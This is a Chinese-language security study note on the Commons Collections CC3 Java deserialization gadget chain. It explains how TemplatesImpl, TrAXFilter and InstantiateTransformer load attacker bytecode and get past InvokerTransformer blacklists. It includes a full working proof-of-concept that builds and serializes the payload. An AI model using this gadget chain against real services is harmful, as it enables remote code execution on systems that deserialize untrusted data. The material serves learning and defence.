Java安全-CC3
CC3 的目的是为了找到除invokeTransformer与Runtime#exec之外的可以实现命令执行的漏洞点
即
TemplatesImpl#newTransformer与TrAXFilter#TrAXFilter
一、主要逻辑
1.危险调用点
这里用到了之前所学的动态类加载方法defineClass,但是大部分直接实现的defineClass方法都私有的
经过寻找,我们找到了TemplatesImpl

于是可以使用他的一系列逻辑加载我们的恶意外部类
尝试使用一个公有方法调用defineClass
defineTransletClasses这个方法调用了defineClass

将其加载参数改为恶意类
1 2 3
| byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
setFieldValue(obj, "_bytecodes", new byte[][] {code});
|
此方法依旧为private,又找到getTransletInstance方法

但是需要满足图中的条件,通过反射设置
1 2
| setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
|
_tfactory这个参数会在TemplatesImpl反序列化的时候自行赋值

此方法依旧为private,于是找到了公开的newTransformer

这里就是最终的出口点,我们只需要调用构造好的TemplatesImpl类下的newTransformer方法,即可成功实现链路逻辑,加载恶意外部类
但是还有一点需要注意defineTransletClasses方法在加载完类后,会判断,从而影响下一步getTransletInstance的类的实例化

所以为了保证逻辑不出问题,我们在构造恶意类时需要继承与常量类,并且实现需要的方法
1
| public class HelloTranslet extends AbstractTranslet {
|
尝试打通,后面具体的调用方法,我们暂时用CC6的TiedMapEntry实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class")); TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); Transformer constantTransformer = new ConstantTransformer(obj); Transformer[] chuan = new Transformer[]{constantTransformer, invokerTransformer}; Transformer chainedTransformer = new ChainedTransformer(chuan); Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan0000)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo"); HashMap obj2 = new HashMap(); obj2.put(tiedMapEntry, "bar"); map.remove("foo");
Field f = LazyMap.class.getDeclaredField("factory"); f.setAccessible(true); f.set(lazyMap, chainedTransformer);
|
前面我们已经打通了一部分,替换掉了 Runtime 的 exec,这一步我们时用来替换 InvokerTransformer 类

找到 TrAXFilter 类的构造方法调用了上一步的 newTransformer 方法
我们继续往上,又找到 InstantiateTransformer类的transform方法会调用输出类参数的构造方法

进行构造
1 2
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}); Transformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
|
参数 obj 为我们之前构造的 TemplatesImpl 类
自此,链条全部打通

二、链路回顾
1.最终 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package CC1;public class chuan {
public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}); Transformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
Transformer[] chuan = new Transformer[]{constantTransformer, instantiateTransformer}; Transformer chainedTransformer = new ChainedTransformer(chuan); Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan0000)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo"); HashMap obj2 = new HashMap(); obj2.put(tiedMapEntry, "bar"); map.remove("foo");
Field f = LazyMap.class.getDeclaredField("factory"); f.setAccessible(true); f.set(lazyMap, chainedTransformer); serialize(obj2); unserialize(); }
private static void setFieldValue(Object obj, String bytecodes, Object bytes) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(bytecodes); field.setAccessible(true); field.set(obj, bytes); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chuan.txt")); oos.writeObject(obj); } public static Object unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("chuan.txt")); return ois.readObject(); } }
|
2.链路
1 2 3 4 5 6 7 8
| CC6链路 ->InstantiateTransformer#transform 这里,我们连入了CC链 ->TrAXFilter#TrAXFilter ->TemplatesImpl#newTransformer ->TemplatesImpl#getTransletInstance ->TemplatesImpl#defineTransletClasses ->TemplatesImpl#newInstance ->TemplatesImpl#defineClass ->实现加载恶意类
|
3.总结
CC3链非常巧妙的绕过了黑名单中 InvokeTransformer 与 Runtime 限制,利用 ClassLoader#defineClass 直接加载字节码的手段
这个CC3的发明很有来头,2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your
day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安全的过滤⽅法,于是尝试过滤一些 CC
的主要关键字,如下

CommonsCollections3 的⽬的很明显,就是为了绕过 InvokerTransformer 的限制,使用了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java来绕过,
当然,这个链还是受到,jdk 版本以及common collections 版本影响
